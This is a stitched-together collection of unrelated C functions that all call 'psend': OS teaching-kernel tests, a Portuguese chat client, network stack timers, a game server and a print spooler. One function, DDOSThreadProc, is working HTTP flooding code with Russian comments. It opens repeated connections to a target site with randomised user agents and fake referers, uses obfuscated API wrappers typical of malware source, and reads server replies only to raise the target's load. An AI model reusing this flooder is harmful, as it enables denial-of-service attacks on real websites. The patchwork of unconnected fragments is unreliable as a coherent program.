void run_chat(int sockfd, struct addrinfo *p) { /** * Executa o chat, solicitando ao usuario que forneca mensagens de texto. * As mensagens sao enviadas ao servidor como mensagens MSG */ Message msg; char usermsg[200]; int privid; while (1) { // constroe mensagem MSG msg.id = MY_ID; msg.type = MSG; msg.to = 0; strcpy(msg.name, MY_NAME); printf("\n * #%d: %s: ", MY_ID, MY_NAME); fgets(usermsg, 200, stdin); // usuario precisa digitar algum texto strcpy(msg.text, usermsg); privid = is_private_message(msg); // verifica se e' uma mensagem privada a ser enviada a um unico usuario especifico if (privid) { // se for privada especifica o id do destino a ser enviado na propriedade to msg.to = privid; strcpy(msg.text, get_private_message(msg)); // adquire o texto da mensagem privada e o copia printf(" ...sending in private\n"); } ISOK = 0; psend(msg, sockfd, p); // envia a mensagem ao destino especico ou a todos se o .to = 0 } }
int main(int argc, char *argv[]) { printf("*****************************\nTest shm\n" "*****************************\n"); (void)argc; (void)argv; const char *c="page_test_shm"; int fid=pcreate(1); int ret; int pid=start("test_shm1",10000,getprio(getpid()),(void *)fid); void *pagep = shm_create(c); assert(pagep!=NULL); *((int*)pagep+4)=23; psend(fid, 1); preceive(fid,&ret); printf("[process %i] : %i\n",getpid(),*((int*)pagep+4)); pdelete(fid); shm_release(c); waitpid(pid,&ret); assert(shm_acquire(c)==NULL); printf("\n*****************************\nTest fini\n" "*****************************\n"); return 0; }
void xsignal(struct sem *s) { int count; assert(psend(s->fid, 1) == 0); assert(pcount(s->fid, &count) == 0); //assert(count == 1); XXX assert(count < 2); }
int main(void *arg) { int fid = (int)arg; int c = cons_read(); assert(psend(fid, 1) == 0); printf(" %d (%c)", 134 - getprio(getpid()), c); return 0; }
bool MySend( SOCKET Socket, const char *Data, int DataLen ) { if ( (int)psend( Socket, Data, DataLen, 0 ) == SOCKET_ERROR ) { return false; } return true; }
// Функция выполнения многократного подключения к испытуемому сайту DWORD WINAPI DDOSThreadProc(TDDOS *DDOS) { TMemory Buf(1024); TMemory Referer(256); DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100; while (!DDOS->FTerminated) { // Создаём сокет SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0); if(Socket != SOCKET_ERROR) { // Подключаемся к серверу struct sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list; SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port); // подключаемся к сокету if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR ) { // Генерируем данные PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount); string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z'); DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr()); int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0); // Для увеличения нагрузки на сервер пытаемся получить от сервера ответ if (Sended == Size) { Size = (int)precv(Socket, Buf.Buf(), 1024, 0); } } pclosesocket(Socket); } // Ждём до следующей отправки if (!DDOS->FTerminated) pSleep(SleepInterval); } pInterlockedDecrement(&DDOS->FThreadsCount); return 0; }
int main(void *arg) { int i, count, fid, pid; struct tst16 *p = NULL; int pids[2 * NB_PROCS]; (void)arg; p = (struct tst16*) shm_create("test16_shm"); assert(p != NULL); assert(getprio(getpid()) == 128); for (count = 1; count <= 100; count++) { fid = pcreate(count); assert(fid >= 0); p->count = count; p->fid = fid; pid = start("proc16_1", 2000, 128, 0); assert(pid > 0); for (i=0; i<=count; i++) { assert(psend(fid, i) == 0); test_it(); } assert(waitpid(pid, 0) == pid); assert(pdelete(fid) == 0); } p->count = 20000; fid = pcreate(50); assert(fid >= 0); p->fid = fid; for (i = 0; i< NB_PROCS; i++) { pid = start("proc16_2", 2000, 127, 0); assert(pid > 0); pids[i] = pid; } for (i=0; i < NB_PROCS; i++) { pid = start("proc16_3", 2000, 127, 0); assert(pid > 0); pids[NB_PROCS + i] = pid; } for (i=0; i < 2 * NB_PROCS; i++) { assert(waitpid(pids[i], 0) == pids[i]); } assert(pcount(fid, &count) == 0); assert(count == 0); assert(pdelete(fid) == 0); shm_release("test16_shm"); printf("ok.\n"); return 0; }
//------------------------------------------------------------------------ // ip_in - handle IP packet coming in from the network //------------------------------------------------------------------------ int ip_in(struct epacket *packet, int icmpp, int lim) { struct udp *udpptr; struct ip *ipptr; struct netq *nqptr; int dport; int i; int to; int ps; ipptr = (struct ip *)packet->ep_data; switch (ipptr->i_proto) { case IPRO_ICMP: // ICMP: pass to icmp input routine return icmp_in(packet, icmpp, lim); case IPRO_UDP: // UDP: demultiplex based on UDP "port" udpptr = (struct udp *)ipptr->i_data; dport = net2hs(udpptr->u_dport); for (i = 0; i < NETQS; i++) { nqptr = &Net.netqs[i]; if (nqptr->uport == dport) { // drop instead of blocking on psend if (pcount(nqptr->xport) >= NETQLEN) { Net.ndrop++; Net.nover++; freebuf(packet); return SYSERR; } psend(nqptr->xport, (uword)packet); ps = disable(); to = nqptr->pid; if (!isbadpid(to)) { nqptr->pid = BADPID; send(to, OK); } restore(ps); return OK; } } break; default: break; } Net.ndrop++; freebuf(packet); return OK; }
/* Process a new connection by finding, initializing and connecting a player entry to a new socket */ static void new_player(int sock) { int n,nsock,len=sizeof(struct sockaddr_in); //,one=1; //,zero=0; u_long one=1; struct sockaddr_in addr; char buf[16]; nsock=accept(sock,(struct sockaddr *)&addr,&len); if (nsock==-1) return; ioctl(nsock,FIONBIO,(u_long*)&one); // non-blocking mode //setsockopt(nsock,IPPROTO_TCP,TCP_NODELAY,(const char *)&one,sizeof(int)); //setsockopt(nsock,SOL_SOCKET,SO_LINGER,(const char *)&zero,sizeof(int)); //setsockopt(nsock,SOL_SOCKET,SO_KEEPALIVE,(const char *)&one,sizeof(int)); for (n=1; n<MAXPLAYER; n++) if (!player[n]) break; if (n==MAXPLAYER) { close(nsock); return; } player[n]=xcalloc(sizeof(struct player),IM_PLAYER); mem_usage+=sizeof(struct player); if (player[n]==NULL) { close(nsock); return; } //bzero(player+n,sizeof(player[0])); player[n]->zs.zalloc=my_zlib_malloc; player[n]->zs.zfree=my_zlib_free; //if (deflateInit(&player[n]->zs,1)) { close(nsock); xfree(player[n]); player[n]=NULL; mem_usage-=sizeof(struct player); return; } if (deflateInit2(&player[n]->zs,1,Z_DEFLATED,14,7,Z_DEFAULT_STRATEGY)) { close(nsock); xfree(player[n]); player[n]=NULL; mem_usage-=sizeof(struct player); return; } player[n]->sock=nsock; player[n]->addr=addr.sin_addr.s_addr; player[n]->state=ST_CONNECT; player[n]->lastcmd=ticker; /* buf[0]=SV_TICKER; *(unsigned int*)(buf+1)=ticker; psend(n,buf,5); */ buf[0]=SV_REALTIME; *(unsigned int*)(buf+1)=realtime; psend(n,buf,5); online++; if (!player[n]) return; //xlog("new player at %d (%d.%d.%d.%d)",n,(player[n]->addr>>0)&255,(player[n]->addr>>8)&255,(player[n]->addr>>16)&255,(player[n]->addr>>24)&255); }
void BuildPacket(SOCKET session, const char* message) { char packetSize[8]; ZeroMemory(packetSize, 8); string packetHeader = "MSG 10 N "; string packetSettings = "MIME-Version: 1.0\r\nContent-Type: text/plain; charset=UTF-8\r\n"; packetSettings += "X-MMS-IM-Format: FN=MS%20Shell%20Dlg; EF=; CO=0; CS=0; PF=0\r\n\r\n"; string packetMessage = message; int sizeOfPacket = packetSettings.length() + packetMessage.length(); _itoa_s(sizeOfPacket, packetSize, 8, 10); packetHeader += packetSize; packetHeader += "\r\n"; string fullPacket = packetHeader; fullPacket += packetSettings; fullPacket += packetMessage; psend(session, fullPacket.c_str(), fullPacket.length(), 0); }
int main(void *arg) { struct psender *ps = NULL; int ps_index = (int)arg; unsigned i; unsigned n; ps = shm_acquire("test13_shm"); assert(ps != NULL); n = strlen(ps[ps_index].data); for(i = 0; i < n; i++) { assert(psend(ps[ps_index].fid, ps[ps_index].data[i]) == 0); } shm_release("test13_shm"); return 0; }
void echo_fct_standard(char * str, int fid, int echo) { for (unsigned i=0; i<strlen(str); i++){ if (echo){ if ((int)(str[i])==13) printf("%c",(char)10); else if ((int)(str[i])<32) printf("^%c",(char)(64+(int)(str[i]))); else if ((int)(str[i])==127 && icour>0) //Legere protection qui permet d'eviter d'effacer le prompt printf("\b \b"); else if ((int)(str[i])!=127) printf("%c",str[i]); } psend(fid,(int)str[i]); } }
/*------------------------------------------------------------------------ * tcptimer - TCP timer process *------------------------------------------------------------------------ */ PROCESS tcptimer(void) { long now, lastrun; /* times from system clock */ int delta; /* time since last iteration */ struct tqent *tq; /* temporary delta list ptr */ lastrun = ctr100; /* initialize to "now" */ tqmutex = screate(1); /* mutual exclusion semaphore */ tqpid = getpid(); /* record timer process id */ signal(Net.sema); /* start other network processes*/ while (TRUE) { sleep10(TIMERGRAN); /* real-time delay */ if (tqhead == 0) /* block timer process if delta */ suspend(tqpid); /* list is empty */ wait(tqmutex); now = ctr100; delta = now - lastrun; /* compute elapsed time */ /* Note: check for possible clock reset (time moved */ /* backward or delay was over an order of magnitude too */ /* long) */ if (delta < 0 || delta > TIMERGRAN*100) delta = TIMERGRAN*10; /* estimate the delay */ lastrun = now; while (tqhead != 0 && tqhead->tq_timeleft <= delta) { delta -= tqhead->tq_timeleft; if (pcount(tqhead->tq_port) <= tqhead->tq_portlen) psend(tqhead->tq_port, (int)tqhead->tq_msg); tq = tqhead; tqhead = tqhead->tq_next; freemem(tq, sizeof(struct tqent)); } if (tqhead) tqhead->tq_timeleft -=delta; signal(tqmutex); } }
void terminate(int sig) { /** * Funcao chamada atraves de um signal determinado no programa principal * quando o usuario pressiona a tecla CTRL+C para sair */ Message exitmsg; // constroe uma mensagem TCHAU a ser enviada para o servidor exitmsg.id = MY_ID; exitmsg.type = TCHAU; exitmsg.to = 0; strcpy(exitmsg.name, MY_NAME); strcpy(exitmsg.text, ""); psend(exitmsg, sockfd, p); // Envia a mensagem TCHAU para o servidor printf("\n\n Successfully ended...\n"); close(sockfd); // fecha o socket (void) signal(SIGINT, SIG_DFL); exit(0); // termina o programa }
/** * See header file. */ static NyLPC_TInt32 send(NyLPC_TiTcpSocket_t* i_inst,const void* i_buf_ptr,NyLPC_TInt32 i_len,NyLPC_TUInt32 i_wait_in_msec) { NyLPC_TInt16 hint; NyLPC_TUInt16 s; void* buf; if(i_len<1){ return 0; } hint=(i_len>32767)?32767:i_len; buf=allocSendBuf(i_inst,hint,&s,i_wait_in_msec); if(buf==NULL){ return -1; } //送信サイズの計算 s=((NyLPC_TInt32)s<i_len)?s:(NyLPC_TUInt16)i_len; memcpy(buf,i_buf_ptr,s); if(!psend(i_inst,buf,s,i_wait_in_msec)){ releaseSendBuf(i_inst,buf); return -1;//error } return s; }
bool NetSend( SOCKET Socket, char *Buffer, DWORD dwBufferLen ) { int r = 0; while ( dwBufferLen > 0 ) { if ( ( r = (int)psend( Socket, (const char*)Buffer, dwBufferLen, 0 ) ) == SOCKET_ERROR ) { return false; } if ( !r ) { return false; } Buffer += r; dwBufferLen -= r; } return true; }
int main(int argc, char *argv[]) { (void)argv; int fid=(int)argc; unsigned long quartz, ticks, freq; clock_settings(&quartz,&ticks); freq=quartz/ticks; while (1){ int jeton; printf("%i essaye de prendre le jeton\n",getpid()); preceive(fid,&jeton); printf("%i a pris le jeton %i, " "l'incremente et le garde un peu\n", getpid(), jeton++); wait_clock(3*freq+current_clock()); printf("%i remet le jeton\n",getpid()); psend(fid,jeton); wait_clock(1*freq+current_clock()); } return 0; }
Message receive(int sockfd, char *errstr, int verbose) { /** * Recebe uma mensagem do servidor e a retorna */ int numbytes; int tries = TIMEOUT_TRIES; Message msg; Message errmsg; size_t addr_len; struct sockaddr_in their_addr; addr_len = sizeof their_addr; numbytes = -1; while (numbytes == -1 && tries) { // se ocorrer algum erro, pode haver mais tentativas numbytes = recvfrom(sockfd, &msg, MAXBUFLEN-1 , 0, (struct sockaddr *)&their_addr, &addr_len); if (numbytes == -1 && verbose) { // Caso a funcao seja chamada como verbose, mostra na tela do // exibidor mensagens de erro e envia uma mensagem de volta // ao servidor notificando o erro // constroe mensagem de erro errmsg.type = ERRO; errmsg.id = MY_ID; strcpy(errmsg.name, MY_NAME); strcpy(errmsg.text, errmsg.text); psend(errmsg, sockfd, p); // envia mensagem de erro ao servidor tries--; perror("recvfrom"); printf("%s Trying to receive again...\n\n", errstr); } } if (!tries) { return errmsg; } return msg; }
void start_connection(int sockfd, struct addrinfo *p) { /** * Inicializa uma conexao com o servidor, enviado uma mensagem OI * e esperando receber uma mensagem REG de registro realizado com sucesso */ Message msg; Message recmsg; char name[100]; int namelen; printf("Please type your nickname: "); // pede ao usuario que forneca um nome fgets (name, 100, stdin); // abaixo constroe uma mensagem OI a ser enviada ao servidor namelen = strlen(name); strncpy(MY_NAME, name, namelen-1); msg.type = OI; strcpy(msg.text, ""); strcpy(msg.name, MY_NAME); psend(msg, sockfd, p); // envia a mensagem OI printf("Waiting for registration...\n"); // recebe resposta REG do servidor, para o registro recmsg = receive(sockfd, "Could not start connection to the server!", 1); if (recmsg.type != REG || recmsg.id != SERVER_ID) { // se nao recebeu resposta REG, o programa acaba printf(" Connection not estabilished...\n\n"); exit(1); } MY_ID = atoi(recmsg.text); // define um id para o cliente fornecido pelo servidor printf("\n Registration completed successfully! \n"); printf("\n ** To send private messages please type: %sID%s before the message): ", PRIVATE_CALL_BEGIN, PRIVATE_CALL_END); }
void transport_driver(int in,int cn) { int x,y,a,oldx,oldy,nr,mirror,oldmirror; unsigned long long bit; struct transport_ppd *dat; unsigned char buf[16]; if (!cn) return; // always make sure its not an automatic call if you don't handle it dat=set_data(cn,DRD_TRANSPORT_PPD,sizeof(struct transport_ppd)); if (!dat) return; // oops... // mark new transports as seen nr=it[in].drdata[0]; if (nr!=255) { // not clan exit if (nr<0 || nr>=ARRAYSIZE(trans)) { elog("illegal transport nr %d from item %d (%s) #1",nr,in,it[in].name); log_char(cn,LOG_SYSTEM,0,"Nothing happens - BUG (%d,#1).",nr); return; } bit=1<<nr; if (!(dat->seen&bit)) { log_char(cn,LOG_SYSTEM,0,"You have reached a new transportation point."); dat->seen|=bit; } } if (ch[cn].act2==0) { buf[0]=SV_TELEPORT; *(unsigned long long*)(buf+1)=dat->seen; psend(ch[cn].player,buf,9); return; } nr=(ch[cn].act2&255)-1; mirror=(ch[cn].act2/256); if (mirror<1 || mirror>26) mirror=RANDOM(26)+1; // clan hall is target if (nr>63 && nr<64+60) { if (may_enter_clan(cn,nr-63)) { x=17+((nr-64)/12)*49; y=16+((nr-64)%12)*20; a=13; } else { x=43+((nr-64)/12)*49; y=15+((nr-64)%12)*20; a=13; } } else if (nr<64) { bit=1<<nr; if (!(dat->seen&bit)) { log_char(cn,LOG_SYSTEM,0,"You've never been to %s before. You cannot go there.",trans[nr].name); return; } if (nr==22 && !(ch[cn].flags&CF_ARCH)) { log_char(cn,LOG_SYSTEM,0,"Sorry, Arches only!"); return; } if (nr<0 || nr>=ARRAYSIZE(trans)) { //elog("illegal transport nr %d #2",nr); log_char(cn,LOG_SYSTEM,0,"Nothing happens - BUG (%d,#2).",nr); return; } x=trans[nr].x; y=trans[nr].y; a=trans[nr].a; } else { log_char(cn,LOG_SYSTEM,0,"You've confused me. (BUG #1123)"); return; } if (x<1 || x>MAXMAP-2 || y<1 || y>MAXMAP-2) { log_char(cn,LOG_SYSTEM,0,"Nothing happens - BUG (%d,%d,%d).",x,y,a); return; } oldmirror=ch[cn].mirror; ch[cn].mirror=mirror; if ((ch[cn].flags&CF_PLAYER) && a && (a!=areaID || get_mirror(a,ch[cn].mirror)!=areaM)) { if (!change_area(cn,a,x,y)) { log_char(cn,LOG_SYSTEM,0,"Nothing happens - target area server is down."); ch[cn].mirror=oldmirror; } return; } buf[0]=SV_MIRROR; *(unsigned int*)(buf+1)=ch[cn].mirror; psend(ch[cn].player,buf,5); oldx=ch[cn].x; oldy=ch[cn].y; remove_char(cn); if (!drop_char(cn,x,y,0)) { log_char(cn,LOG_SYSTEM,0,"Please try again soon. Target is busy"); drop_char(cn,oldx,oldy,0); } }
void c_port_close(void) { static char cf[128]; int slf; int lpdport; int cfid; long msg; /* ************************************************************** * * Now lets see if it looks like we can close the spoolfile * * Check for the following: * * 1) We are at level 1 for spool files... * * (otherwise simply decrement the count and return) * * 2) We have an open spool file * * 3) No errors have occured * * ************************************************************** */ if (open_count > 1) { open_count--; return; }; if ((data_file_ptr == (KS_FILE_PTR) NULL) || (port_status != PORT_SPOOLING)) { return; }; /* ************************************************************** * * Close the spool file and reset the file pointer to be NULL * * so we know that the file has been closed. * * * * Note: I haven't added error checking here because there really* * isn't anything we can do if an error occurs... * * ************************************************************** */ KS_FILE_CLOSE(data_file_ptr, error); data_file_ptr = NULL; open_count = 0; port_status = PORT_NOT_ACTIVE; lpdport = pgetport("LPD"); if (lpdport == -1) { error_message = DAEMON_NOT_ACTIVE; goto ERROR_DAEMON_NOT_ACTIVE; } msg = (1l << 16) | getpid(); psend(lpdport,msg); while ((cfid = (int) procreceive()) != -1); sprintf(cf,PATH_LPQ ":cf.%05d",cfid); slf = open(cf,O_WRONLY); if (slf < 0) { SysBeep(); SysBeep(); } write(slf,"l",1); write(slf,tmp,strlen(tmp)); write(slf,"\r",1); write(slf,"U",1); write(slf,tmp,strlen(tmp)); write(slf,"\r",1); close(slf); /* register the job */ msg = (2l << 16) | cfid; if (psend(lpdport,msg) == -1) SysBeep(); /* ************************************************************** * * Everything is all set - return to our caller... * * ************************************************************** */ return; ERROR_DAEMON_NOT_ACTIVE: /* ************************************************************** * * First we close the spool file (can't use it anymore now...) * * then give our user some feed back (like an error message). * * ************************************************************** */ KS_FILE_CLOSE(data_file_ptr, error2); /* delete the spool file */ remove(tmp); data_file_ptr = (KS_FILE_PTR) NULL; open_count--; port_status = PORT_ERROR; ERROR_DIALOG(error_message, error, button); return; }